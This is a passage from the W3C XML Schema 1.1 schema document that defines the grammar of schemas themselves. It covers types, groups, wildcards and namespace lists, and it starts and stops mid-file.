<xs:documentation> Part 1 version: structures.xsd (rec-20120405) Part 2 version: datatypes.xsd (rec-20120405) </xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation source="../structures/structures.html"> The schema corresponding to this document is normative, with respect to the syntactic constraints it expresses in the XML Schema Definition Language. The documentation (within 'documentation' elements) below, is not normative, but rather highlights important aspects of the W3C Recommendation of which this is a part. See below (at the bottom of this document) for information about the revision and namespace-versioning policy governing this schema document. </xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation> The simpleType element and all of its members are defined towards the end of this schema document.</xs:documentation> </xs:annotation> <xs:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/xml.xsd"> <xs:annotation> <xs:documentation> Get access to the xml: attribute groups for xml:lang as declared on 'schema' and 'documentation' below </xs:documentation> </xs:annotation> </xs:import> <xs:complexType name="openAttrs"> <xs:annotation> <xs:documentation> This type is extended by almost all schema types to allow attributes from other namespaces to be added to user schemas. </xs:documentation> </xs:annotation> <xs:complexContent> <xs:restriction base="xs:anyType"> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="annotated"> <xs:annotation> <xs:documentation> This type is extended by all types which allow annotation other than <schema> itself </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:openAttrs"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="id" type="xs:ID"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:group name="composition"> <xs:choice> <xs:element ref="xs:include"/> <xs:element ref="xs:import"/> <xs:element ref="xs:redefine"/> <xs:element ref="xs:override"/> <xs:element ref="xs:annotation"/> </xs:choice> </xs:group> <xs:group name="schemaTop"> <xs:annotation> <xs:documentation> This group is for the elements which occur freely at the top level of schemas. All of their types are based on the "annotated" type by extension.</xs:documentation> </xs:annotation> <xs:choice> <xs:group ref="xs:redefinable"/> <xs:element ref="xs:element"/> <xs:element ref="xs:attribute"/> <xs:element ref="xs:notation"/> </xs:choice> </xs:group> <xs:group name="redefinable"> <xs:annotation> <xs:documentation> This group is for the elements which can self-redefine (see <redefine> below).</xs:documentation> </xs:annotation> <xs:choice> <xs:element ref="xs:simpleType"/> <xs:element ref="xs:complexType"/> <xs:element ref="xs:group"/> <xs:element ref="xs:attributeGroup"/> </xs:choice> </xs:group> <xs:simpleType name="formChoice"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="qualified"/> <xs:enumeration value="unqualified"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="reducedDerivationControl"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="derivationSet"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> <xs:documentation> #all or (possibly empty) subset of {extension, restriction}</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list itemType="xs:reducedDerivationControl"/> </xs:simpleType> </xs:union> </xs:simpleType> <xs:simpleType name="typeDerivationControl"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> <xs:enumeration value="list"/> <xs:enumeration value="union"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="fullDerivationSet"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> <xs:documentation> #all or (possibly empty) subset of {extension, restriction, list, union}</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list itemType="xs:typeDerivationControl"/> </xs:simpleType> </xs:union> </xs:simpleType> <xs:element name="schema" id="schema"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-schema"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:openAttrs"> <xs:sequence> <xs:group ref="xs:composition" minOccurs="0" maxOccurs="unbounded"/> <xs:sequence minOccurs="0"> <xs:element ref="xs:defaultOpenContent"/> <xs:element ref="xs:annotation" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:group ref="xs:schemaTop"/> <xs:element ref="xs:annotation" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:sequence> <xs:attribute name="targetNamespace" type="xs:anyURI"/> <xs:attribute name="version" type="xs:token"/> <xs:attribute name="finalDefault" type="xs:fullDerivationSet" default="" use="optional"/> <xs:attribute name="blockDefault" type="xs:blockSet" default="" use="optional"/> <xs:attribute name="attributeFormDefault" type="xs:formChoice" default="unqualified" use="optional"/> <xs:attribute name="elementFormDefault" type="xs:formChoice" default="unqualified" use="optional"/> <xs:attribute name="defaultAttributes" type="xs:QName"/> <xs:attribute name="xpathDefaultNamespace" type="xs:xpathDefaultNamespace" default="##local" use="optional"/> <xs:attribute name="id" type="xs:ID"/> <xs:attribute ref="xml:lang"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:key name="element"> <xs:selector xpath="xs:element"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="attribute"> <xs:selector xpath="xs:attribute"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="type"> <xs:selector xpath="xs:complexType|xs:simpleType"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="group"> <xs:selector xpath="xs:group"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="attributeGroup"> <xs:selector xpath="xs:attributeGroup"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="notation"> <xs:selector xpath="xs:notation"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="identityConstraint"> <xs:selector xpath=".//xs:key|.//xs:unique|.//xs:keyref"/> <xs:field xpath="@name"/> </xs:key> </xs:element> <xs:simpleType name="allNNI"> <xs:annotation> <xs:documentation> for maxOccurs</xs:documentation> </xs:annotation> <xs:union memberTypes="xs:nonNegativeInteger"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="unbounded"/> </xs:restriction> </xs:simpleType> </xs:union> </xs:simpleType> <xs:attributeGroup name="occurs"> <xs:annotation> <xs:documentation> for all particles</xs:documentation> </xs:annotation> <xs:attribute name="minOccurs" type="xs:nonNegativeInteger" default="1" use="optional"/> <xs:attribute name="maxOccurs" type="xs:allNNI" default="1" use="optional"/> </xs:attributeGroup> <xs:attributeGroup name="defRef"> <xs:annotation> <xs:documentation> for element, group and attributeGroup, which both define and reference</xs:documentation> </xs:annotation> <xs:attribute name="name" type="xs:NCName"/> <xs:attribute name="ref" type="xs:QName"/> </xs:attributeGroup> <xs:group name="typeDefParticle"> <xs:annotation> <xs:documentation> 'complexType' uses this</xs:documentation> </xs:annotation> <xs:choice> <xs:element name="group" type="xs:groupRef"/> <xs:element ref="xs:all"/> <xs:element ref="xs:choice"/> <xs:element ref="xs:sequence"/> </xs:choice> </xs:group> <xs:group name="nestedParticle"> <xs:choice> <xs:element name="element" type="xs:localElement"/> <xs:element name="group" type="xs:groupRef"/> <xs:element ref="xs:choice"/> <xs:element ref="xs:sequence"/> <xs:element ref="xs:any"/> </xs:choice> </xs:group> <xs:group name="particle"> <xs:choice> <xs:element name="element" type="xs:localElement"/> <xs:element name="group" type="xs:groupRef"/> <xs:element ref="xs:all"/> <xs:element ref="xs:choice"/> <xs:element ref="xs:sequence"/> <xs:element ref="xs:any"/> </xs:choice> </xs:group> <xs:complexType name="attribute"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> </xs:sequence> <xs:attributeGroup ref="xs:defRef"/> <xs:attribute name="type" type="xs:QName"/> <xs:attribute name="use" default="optional" use="optional"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="prohibited"/> <xs:enumeration value="optional"/> <xs:enumeration value="required"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="default" type="xs:string"/> <xs:attribute name="fixed" type="xs:string"/> <xs:attribute name="form" type="xs:formChoice"/> <xs:attribute name="targetNamespace" type="xs:anyURI"/> <xs:attribute name="inheritable" type="xs:boolean"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelAttribute"> <xs:complexContent> <xs:restriction base="xs:attribute"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> </xs:sequence> <xs:attribute name="ref" use="prohibited"/> <xs:attribute name="form" use="prohibited"/> <xs:attribute name="use" use="prohibited"/> <xs:attribute name="targetNamespace" use="prohibited"/> <xs:attribute name="name" type="xs:NCName" use="required"/> <xs:attribute name="inheritable" type="xs:boolean"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:group name="attrDecls"> <xs:sequence> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="attribute" type="xs:attribute"/> <xs:element name="attributeGroup" type="xs:attributeGroupRef"/> </xs:choice> <xs:element ref="xs:anyAttribute" minOccurs="0"/> </xs:sequence> </xs:group> <xs:element name="anyAttribute" id="anyAttribute"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-anyAttribute"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:wildcard"> <xs:attribute name="notQName" type="xs:qnameListA" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:group name="assertions"> <xs:sequence> <xs:element name="assert" type="xs:assertion" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:complexType name="assertion"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="test" type="xs:string"/> <xs:attribute name="xpathDefaultNamespace" type="xs:xpathDefaultNamespace"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:group name="complexTypeModel"> <xs:choice> <xs:element ref="xs:simpleContent"/> <xs:element ref="xs:complexContent"/> <xs:sequence> <xs:annotation> <xs:documentation> This branch is short for <complexContent> <restriction base="xs:anyType"> ... </restriction> </complexContent></xs:documentation> </xs:annotation> <xs:element ref="xs:openContent" minOccurs="0"/> <xs:group ref="xs:typeDefParticle" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> <xs:group ref="xs:assertions"/> </xs:sequence> </xs:choice> </xs:group> <xs:complexType name="complexType" abstract="true"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:complexTypeModel"/> <xs:attribute name="name" type="xs:NCName"> <xs:annotation> <xs:documentation> Will be restricted to required or prohibited</xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="mixed" type="xs:boolean" use="optional"> <xs:annotation> <xs:documentation> Not allowed if simpleContent child is chosen. May be overridden by setting on complexContent child.</xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="abstract" type="xs:boolean" default="false" use="optional"/> <xs:attribute name="final" type="xs:derivationSet"/> <xs:attribute name="block" type="xs:derivationSet"/> <xs:attribute name="defaultAttributesApply" type="xs:boolean" default="true" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelComplexType"> <xs:complexContent> <xs:restriction base="xs:complexType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:complexTypeModel"/> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="localComplexType"> <xs:complexContent> <xs:restriction base="xs:complexType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:complexTypeModel"/> </xs:sequence> <xs:attribute name="name" use="prohibited"/> <xs:attribute name="abstract" use="prohibited"/> <xs:attribute name="final" use="prohibited"/> <xs:attribute name="block" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="restrictionType"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:choice minOccurs="0"> <xs:sequence> <xs:element ref="xs:openContent" minOccurs="0"/> <xs:group ref="xs:typeDefParticle"/> </xs:sequence> <xs:group ref="xs:simpleRestrictionModel"/> </xs:choice> <xs:group ref="xs:attrDecls"/> <xs:group ref="xs:assertions"/> </xs:sequence> <xs:attribute name="base" type="xs:QName" use="required"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="complexRestrictionType"> <xs:complexContent> <xs:restriction base="xs:restrictionType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0"> <xs:annotation> <xs:documentation>This choice is added simply to make this a valid restriction per the REC</xs:documentation> </xs:annotation> <xs:sequence> <xs:element ref="xs:openContent" minOccurs="0"/> <xs:group ref="xs:typeDefParticle"/> </xs:sequence> </xs:choice> <xs:group ref="xs:attrDecls"/> <xs:group ref="xs:assertions"/> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="extensionType"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element ref="xs:openContent" minOccurs="0"/> <xs:group ref="xs:typeDefParticle" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> <xs:group ref="xs:assertions"/> </xs:sequence> <xs:attribute name="base" type="xs:QName" use="required"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:element name="complexContent" id="complexContent"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-complexContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:choice> <xs:element name="restriction" type="xs:complexRestrictionType"/> <xs:element name="extension" type="xs:extensionType"/> </xs:choice> <xs:attribute name="mixed" type="xs:boolean"> <xs:annotation> <xs:documentation> Overrides any setting on complexType parent.</xs:documentation> </xs:annotation> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="openContent" id="openContent"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-openContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="any" minOccurs="0" type="xs:wildcard"/> </xs:sequence> <xs:attribute name="mode" default="interleave" use="optional"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="none"/> <xs:enumeration value="interleave"/> <xs:enumeration value="suffix"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="defaultOpenContent" id="defaultOpenContent"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-defaultOpenContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="any" type="xs:wildcard"/> </xs:sequence> <xs:attribute name="appliesToEmpty" type="xs:boolean" default="false" use="optional"/> <xs:attribute name="mode" default="interleave" use="optional"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="interleave"/> <xs:enumeration value="suffix"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:complexType name="simpleRestrictionType"> <xs:complexContent> <xs:restriction base="xs:restrictionType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0"> <xs:annotation> <xs:documentation>This choice is added simply to make this a valid restriction per the REC</xs:documentation> </xs:annotation> <xs:group ref="xs:simpleRestrictionModel"/> </xs:choice> <xs:group ref="xs:attrDecls"/> <xs:group ref="xs:assertions"/> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="simpleExtensionType"> <xs:complexContent> <xs:restriction base="xs:extensionType"> <xs:sequence> <xs:annotation> <xs:documentation> No typeDefParticle group reference</xs:documentation> </xs:annotation> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> <xs:group ref="xs:assertions"/> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="simpleContent" id="simpleContent"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-simpleContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:choice> <xs:element name="restriction" type="xs:simpleRestrictionType"/> <xs:element name="extension" type="xs:simpleExtensionType"/> </xs:choice> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="complexType" type="xs:topLevelComplexType" id="complexType"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-complexType"/> </xs:annotation> </xs:element> <xs:simpleType name="blockSet"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> <xs:documentation> #all or (possibly empty) subset of {substitution, extension, restriction}</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list> <xs:simpleType> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> <xs:enumeration value="substitution"/> </xs:restriction> </xs:simpleType> </xs:list> </xs:simpleType> </xs:union> </xs:simpleType> <xs:complexType name="element" abstract="true"> <xs:annotation> <xs:documentation> The element element can be used either at the top level to define an element-type binding globally, or within a content model to either reference a globally-defined element or type or declare an element-type binding locally. The ref form is not allowed at the top level.</xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:choice minOccurs="0"> <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> <xs:element name="alternative" type="xs:altType" minOccurs="0" maxOccurs="unbounded"/> <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attributeGroup ref="xs:defRef"/> <xs:attribute name="type" type="xs:QName"/> <xs:attribute name="substitutionGroup"> <xs:simpleType> <xs:list itemType="xs:QName"/> </xs:simpleType> </xs:attribute> <xs:attributeGroup ref="xs:occurs"/> <xs:attribute name="default" type="xs:string"/> <xs:attribute name="fixed" type="xs:string"/> <xs:attribute name="nillable" type="xs:boolean" use="optional"/> <xs:attribute name="abstract" type="xs:boolean" default="false" use="optional"/> <xs:attribute name="final" type="xs:derivationSet"/> <xs:attribute name="block" type="xs:blockSet"/> <xs:attribute name="form" type="xs:formChoice"/> <xs:attribute name="targetNamespace" type="xs:anyURI"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelElement"> <xs:complexContent> <xs:restriction base="xs:element"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0"> <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> <xs:element name="alternative" type="xs:altType" minOccurs="0" maxOccurs="unbounded"/> <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="ref" use="prohibited"/> <xs:attribute name="form" use="prohibited"/> <xs:attribute name="targetNamespace" use="prohibited"/> <xs:attribute name="minOccurs" use="prohibited"/> <xs:attribute name="maxOccurs" use="prohibited"/> <xs:attribute name="name" type="xs:NCName" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="localElement"> <xs:complexContent> <xs:restriction base="xs:element"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0"> <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> <xs:element name="alternative" type="xs:altType" minOccurs="0" maxOccurs="unbounded"/> <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="substitutionGroup" use="prohibited"/> <xs:attribute name="final" use="prohibited"/> <xs:attribute name="abstract" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="element" type="xs:topLevelElement" id="element"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-element"/> </xs:annotation> </xs:element> <xs:complexType name="altType"> <xs:annotation> <xs:documentation> This type is used for 'alternative' elements. </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:choice minOccurs="0"> <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> <xs:attribute name="test" type="xs:string" use="optional"/> <xs:attribute name="type" type="xs:QName" use="optional"/> <xs:attribute name="xpathDefaultNamespace" type="xs:xpathDefaultNamespace"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="group" abstract="true"> <xs:annotation> <xs:documentation> group type for explicit groups, named top-level groups and group references</xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:particle" minOccurs="0" maxOccurs="unbounded"/> <xs:attributeGroup ref="xs:defRef"/> <xs:attributeGroup ref="xs:occurs"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="realGroup"> <xs:complexContent> <xs:restriction base="xs:group"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0" maxOccurs="1"> <xs:element ref="xs:all"/> <xs:element ref="xs:choice"/> <xs:element ref="xs:sequence"/> </xs:choice> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="namedGroup"> <xs:complexContent> <xs:restriction base="xs:realGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="1" maxOccurs="1"> <xs:element name="all"> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:all"> <xs:group ref="xs:allModel"/> <xs:attribute name="minOccurs" use="prohibited"/> <xs:attribute name="maxOccurs" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="choice" type="xs:simpleExplicitGroup"/> <xs:element name="sequence" type="xs:simpleExplicitGroup"/> </xs:choice> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required"/> <xs:attribute name="ref" use="prohibited"/> <xs:attribute name="minOccurs" use="prohibited"/> <xs:attribute name="maxOccurs" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="groupRef"> <xs:complexContent> <xs:restriction base="xs:realGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="ref" type="xs:QName" use="required"/> <xs:attribute name="name" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="explicitGroup"> <xs:annotation> <xs:documentation> group type for the three kinds of group</xs:documentation> </xs:annotation> <xs:complexContent> <xs:restriction base="xs:group"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:nestedParticle" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="name" use="prohibited"/> <xs:attribute name="ref" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="simpleExplicitGroup"> <xs:complexContent> <xs:restriction base="xs:explicitGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:nestedParticle" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="minOccurs" use="prohibited"/> <xs:attribute name="maxOccurs" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:group name="allModel"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:annotation> <xs:documentation>This choice with min/max is here to avoid a pblm with the Elt:All/Choice/Seq Particle derivation constraint</xs:documentation> </xs:annotation> <xs:element name="element" type="xs:localElement"/> <xs:element ref="xs:any"/> <xs:element name="group"> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:groupRef"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="minOccurs" fixed="1" type="xs:nonNegativeInteger"/> <xs:attribute name="maxOccurs" fixed="1" type="xs:nonNegativeInteger"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> </xs:choice> </xs:sequence> </xs:group> <xs:complexType name="all"> <xs:annotation> <xs:documentation> Only elements allowed inside</xs:documentation> </xs:annotation> <xs:complexContent> <xs:restriction base="xs:explicitGroup"> <xs:group ref="xs:allModel"/> <xs:attribute name="minOccurs" default="1" use="optional"> <xs:simpleType> <xs:restriction base="xs:nonNegativeInteger"> <xs:enumeration value="0"/> <xs:enumeration value="1"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="maxOccurs" default="1" use="optional"> <xs:simpleType> <xs:restriction base="xs:allNNI"> <xs:enumeration value="0"/> <xs:enumeration value="1"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="all" type="xs:all" id="all"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-all"/> </xs:annotation> </xs:element> <xs:element name="choice" type="xs:explicitGroup" id="choice"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-choice"/> </xs:annotation> </xs:element> <xs:element name="sequence" type="xs:explicitGroup" id="sequence"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-sequence"/> </xs:annotation> </xs:element> <xs:element name="group" type="xs:namedGroup" id="group"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-group"/> </xs:annotation> </xs:element> <xs:attributeGroup name="anyAttrGroup"> <xs:attribute name="namespace" type="xs:namespaceList" use="optional"/> <xs:attribute name="notNamespace" use="optional"> <xs:simpleType> <xs:restriction base="xs:basicNamespaceList"> <xs:minLength value="1"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="processContents" default="strict" use="optional"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="skip"/> <xs:enumeration value="lax"/> <xs:enumeration value="strict"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:attributeGroup> <xs:complexType name="wildcard"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attributeGroup ref="xs:anyAttrGroup"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:element name="any" id="any"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-any"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:wildcard"> <xs:attribute name="notQName" type="xs:qnameList" use="optional"/> <xs:attributeGroup ref="xs:occurs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> simple type for the value of the 'namespace' attr of 'any' and 'anyAttribute'</xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation> Value is ##any - - any non-conflicting WFXML/attribute at all ##other - - any non-conflicting WFXML/attribute from namespace other than targetNS ##local - - any unqualified non-conflicting WFXML/attribute one or - - any non-conflicting WFXML/attribute from more URI the listed namespaces references (space separated) ##targetNamespace or ##local may appear in the above list, to refer to the targetNamespace of the enclosing schema or an absent targetNamespace respectively</xs:documentation> </xs:annotation> <xs:simpleType name="namespaceList"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:union memberTypes="xs:specialNamespaceList xs:basicNamespaceList"/> </xs:simpleType> <xs:simpleType name="basicNamespaceList"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:list> <xs:simpleType> <xs:union memberTypes="xs:anyURI"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="##targetNamespace"/> <xs:enumeration value="##local"/> </xs:restriction> </xs:simpleType> </xs:union> </xs:simpleType> </xs:list> </xs:simpleType> <xs:simpleType name="specialNamespaceList"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:token"> <xs:enumeration value="##any"/> <xs:enumeration value="##other"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="qnameList"> <xs:annotation> <xs:documentation> A utility type, not for public use </xs:documentation> </xs:annotation> <xs:list> <xs:simpleType> <xs:union memberTypes="xs:QName"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="##defined"/> <xs:enumeration value="##definedSibling"/> </xs:restriction> </xs:simpleType> </xs:union> </xs:simpleType> </xs:list> </xs:simpleType> <xs:simpleType name="qnameListA"> <xs:annotation> <xs:documentation> A utility type, not for public use </xs:documentation> </xs:annotation> <xs:list> <xs:simpleType> <xs:union memberTypes="xs:QName"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="##defined"/> </xs:restriction> </xs:simpleType> </xs:union> </xs:simpleType> </xs:list> </xs:simpleType> <xs:simpleType name="xpathDefaultNamespace"> <xs:union memberTypes="xs:anyURI"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="##defaultNamespace"/> <xs:enumeration 